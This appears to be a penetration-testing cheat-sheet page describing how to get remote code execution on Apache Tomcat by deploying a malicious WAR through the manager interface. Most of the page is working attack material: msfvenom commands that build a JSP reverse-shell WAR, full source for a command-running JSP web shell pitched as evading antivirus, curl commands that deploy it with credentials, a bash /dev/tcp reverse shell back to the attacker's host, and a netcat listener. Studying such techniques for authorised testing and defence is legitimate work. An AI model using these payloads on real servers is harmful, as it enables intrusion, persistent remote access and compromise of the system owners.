Skip to content
HackIndex logo

HackIndex

Tomcat Manager WAR Deployment

3 min read Mar 30, 2026

The Tomcat manager's WAR deployment feature is designed for legitimate application deployment but provides direct remote code execution when accessible with valid credentials. A malicious WAR file containing a JSP web shell is deployed as a web application, then accessed via HTTP to execute commands. Confirm manager access and valid credentials through Tomcat manager testing before proceeding.

Create the Malicious WAR File

Generate a JSP reverse shell WAR using msfvenom:

┌──(kali㉿kali)-[~]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f war -o /tmp/shell.war
Payload size: 1088 bytes
Final size of war file: 1088 bytes
Saved as: /tmp/shell.war
Explain command
-p java/jsp_shell_reverse_tcp Specifies the payload: a JSP-based reverse TCP shell for Java environments.
LHOST=$LHOST Sets the attacker's listening IP address for the reverse connection.
LPORT=$LPORT Sets the attacker's listening port for the reverse connection.
-f war Specifies the output format as a WAR (Web Application Archive) file.
-o /tmp/shell.war Writes the generated payload to the specified output file path.

Alternatively, create a minimal WAR manually with a simple JSP web shell — less likely to be flagged by AV:

mkdir -p /tmp/warshell/WEB-INF
cat > /tmp/warshell/shell.jsp << 'EOF'
<%@@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
    InputStream in = p.getInputStream();
    BufferedReader br = new BufferedReader(new InputStreamReader(in));
    String line;
    while((line = br.readLine()) != null) output += line + "\n";
}
out.println(output);
%>
EOF
cat > /tmp/warshell/WEB-INF/web.xml << 'EOF'
<?xml version="1.0"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="2.5">
  <display-name>Shell</display-name>
</web-app>
EOF
cd /tmp/warshell && jar -cvf /tmp/shell.war .

Deploy via Manager Web UI

Upload the WAR through the manager HTML interface with curl:

┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:8080/manager/text/deploy?path=/shell --upload-file /tmp/shell.war
OK - Deployed application at context path [/shell]

Confirm Execution

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:8080/shell/shell.jsp?cmd=id"
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Get a Reverse Shell

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, displays connection details.
-n Skip DNS resolution, use numeric IPs only.
-p Specifies the local port number to listen on.
$LPORT Variable placeholder for the local listening port number.
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:8080/shell/shell.jsp" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

Deploy via msfvenom WAR (Automatic Shell)

When using the msfvenom-generated WAR, find the JSP filename inside the archive and access it directly:

┌──(kali㉿kali)-[~]
└─$ JSP_NAME=$(jar -tf /tmp/shell.war | grep '\.jsp')
┌──(kali㉿kali)-[~]
└─$ echo "Shell at: http://$TARGET_IP:8080/shell/$JSP_NAME"
┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:8080/manager/text/deploy?path=/shell --upload-file /tmp/shell.war
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT &
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:8080/shell/$JSP_NAME"

Undeploy After Assessment

Remove the deployed WAR immediately after obtaining the shell:

┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" "http://$TARGET_IP:8080/manager/text/undeploy?path=/shell"
OK - Undeployed application at context path [/shell]

References